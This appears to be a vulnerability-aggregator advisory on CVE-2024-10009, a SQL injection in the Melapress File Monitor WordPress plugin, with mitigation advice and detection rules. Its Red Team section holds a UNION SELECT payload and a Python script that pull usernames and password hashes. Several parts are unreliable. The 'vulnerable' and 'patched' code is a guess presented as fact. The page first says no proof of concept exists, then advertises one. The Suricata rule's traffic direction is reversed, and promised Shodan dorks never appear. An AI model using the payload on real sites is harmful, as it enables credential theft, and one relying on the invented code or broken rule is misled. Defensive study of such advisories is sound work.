CVE-2024-10009
Executive Summary
CVE-2024-10009 is a high-severity SQL Injection vulnerability discovered in the Melapress File Monitor WordPress plugin, affecting versions prior to 2.1.0. This flaw allows authenticated administrators to inject arbitrary SQL commands via an unsanitized and unescaped parameter. Given the elevated privileges required (admin), the attack surface is limited to internal or compromised admin accounts, but the impact is severe: full database compromise, including extraction of user credentials, posts, and configuration data. The vulnerability is classified under CWE-89 (SQL Injection) and aligns with MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). No public proof-of-concept (PoC) or exploit code has been released as of this report, but the risk remains significant for unpatched installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The Melapress File Monitor plugin is designed to track file changes on WordPress sites. The flaw exists in an admin-facing function, meaning an attacker must first compromise an admin account (e.g., via phishing, credential stuffing, or another vulnerability) to exploit it. Once exploited, the attacker can execute arbitrary SQL queries, potentially leading to complete site takeover.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Base Score: 7.2 (High)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required beyond admin access.
- Privileges Required: High (PR:H) – Requires admin-level authentication.
- User Interaction: None (UI:N) – No user action needed.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – Full database read access.
- Integrity Impact: High (I:H) – Ability to modify or delete database entries.
- Availability Impact: High (A:H) – Potential to disrupt database operations.
Threat Level: High. While the privilege requirement reduces the attack surface, the impact of successful exploitation is catastrophic. In shared hosting or multi-site WordPress environments, a compromised admin account can lead to lateral movement.
Deep Dive & Mechanics
The vulnerability resides in the plugin's admin interface, likely in a function that handles file monitoring settings or log queries. The plugin fails to sanitize and escape a user-supplied parameter before incorporating it into a SQL statement. This allows an attacker with admin privileges to break out of the intended SQL query structure and inject arbitrary SQL commands.
Root Cause: The plugin uses a parameter (e.g., $_GET['filter'] or $_POST['search']) directly in a SQL query without using WordPress's $wpdb->prepare() or proper escaping functions like esc_sql(). For example:
$results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}mf_logs WHERE file_path = '" . $_GET['file'] . "'" );
This code is vulnerable because $_GET['file'] is concatenated directly into the query string. An attacker can supply a value like ' OR 1=1 -- to retrieve all records.
Exploitation Scenario:
- Attacker gains admin credentials (e.g., via phishing or credential stuffing).
- Attacker logs into the WordPress admin panel.
- Attacker navigates to the Melapress File Monitor settings page.
- Attacker injects SQL payload into the vulnerable parameter (e.g., via a GET request to
/wp-admin/admin.php?page=melapress-file-monitor&file=' UNION SELECT user_login,user_pass FROM wp_users--). - The plugin executes the malicious query, returning hashed passwords and usernames.
- Attacker extracts and cracks the hashes, gaining further access.
Vulnerable vs. Patched Code
Vulnerable Code (version < 2.1.0):
// In some admin handler
$file_path = $_GET['file'];
$results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}mf_logs WHERE file_path = '$file_path'" );
Patched Code (version 2.1.0):
// In the same admin handler
$file_path = sanitize_text_field( $_GET['file'] );
$results = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}mf_logs WHERE file_path = %s", $file_path ) );
The patch introduces two critical changes:
- Input Sanitization:
sanitize_text_field()strips malicious characters. - Parameterized Query:
$wpdb->prepare()uses a placeholder (%s) to safely bind the value, preventing SQL injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with Melapress File Monitor < 2.1.0 installed.
- Admin credentials (e.g.,
admin:password).
Steps:
- Log in to WordPress admin.
- Identify the vulnerable endpoint. Typically, it is under
wp-admin/admin.php?page=melapress-file-monitor. - Craft a SQL injection payload. For example, to extract admin hashes:
GET /wp-admin/admin.php?page=melapress-file-monitor&file=' UNION SELECT user_login,user_pass,user_email,display_name FROM wp_users-- - Observe the response. The plugin may output the results in a table or JSON.
Automated Exploit (Python):
import requests
target = "http://target-site.com/wp-admin/admin.php?page=melapress-file-monitor"
cookies = {"wordpress_logged_in": "admin|hash"} # Replace with actual session
payload = "' UNION SELECT user_login,user_pass,user_email,display_name FROM wp_users-- "
r = requests.get(target, params={"file": payload}, cookies=cookies)
print(r.text)
Blue Team (Defensive)
Detection:
- Monitor for unusual SQL queries in database logs (e.g.,
UNION,OR 1=1). - Watch for admin users accessing the Melapress File Monitor page with abnormal parameters.
- Use a Web Application Firewall (WAF) to block SQL injection patterns.
Honeypot:
- Deploy a fake WordPress admin account with low privileges and monitor its activity.
- If the account triggers SQL injection attempts, alert the security team.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/wp-admin/admin.php?page=melapress-file-monitorwith parameters containing SQL keywords (UNION,SELECT,OR,--). - Unusual database query patterns in MySQL logs (e.g.,
SELECT * FROM wp_usersfrom non-standard sources).
- HTTP requests to
Host IOCs:
- Modified WordPress database entries (e.g., new admin users, altered options).
- Presence of webshells or backdoor files in the WordPress uploads directory.
Log IOCs:
- WordPress debug log entries showing SQL errors (e.g.,
WordPress database error). - Apache/Nginx access logs with
admin.php?page=melapress-file-monitor&file=followed by encoded SQL.
- WordPress debug log entries showing SQL errors (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_10009_Melapress_SQLi {
meta:
description = "Detects SQL injection attempts against Melapress File Monitor plugin"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-10009"
strings:
$s1 = "melapress-file-monitor" nocase
$s2 = "file=" nocase
$s3 = "UNION" nocase
$s4 = "SELECT" nocase
$s5 = "OR 1=1" nocase
condition:
all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}
Sigma Rule
title: CVE-2024-10009 Melapress File Monitor SQL Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against the Melapress File Monitor WordPress plugin
author: Valters IT
date: 2024/10/27
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-10009
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-query|contains:
- 'page=melapress-file-monitor'
- 'file='
injection:
cs-uri-query|contains:
- 'UNION'
- 'SELECT'
- 'OR 1=1'
- "'"
condition: selection and injection
falsepositives:
- Legitimate admin activity with file names containing SQL keywords (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-10009 Melapress File Monitor SQL Injection Attempt"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"page=melapress-file-monitor"; http_uri; content:"file="; http_uri; pcre:"/(UNION|SELECT|OR\s+1=1)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin: Upgrade Melapress File Monitor to version 2.1.0 or later.
- Audit admin accounts: Review all admin users and remove any suspicious or unused accounts.
- Change database credentials: Rotate the WordPress database user password.
Long-term Mitigations:
- Principle of Least Privilege: Limit admin accounts to only necessary users.
- Web Application Firewall (WAF): Deploy a WAF (e.g., Cloudflare, ModSecurity) with SQL injection rules.
- Regular Security Audits: Use tools like WPScan to scan for vulnerable plugins.
- Database Monitoring: Enable MySQL query logging and monitor for anomalies.
Workaround (if patching is not immediately possible):
- Disable the Melapress File Monitor plugin until it can be updated.
- Use a reverse proxy to block requests containing SQL keywords in the
fileparameter.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.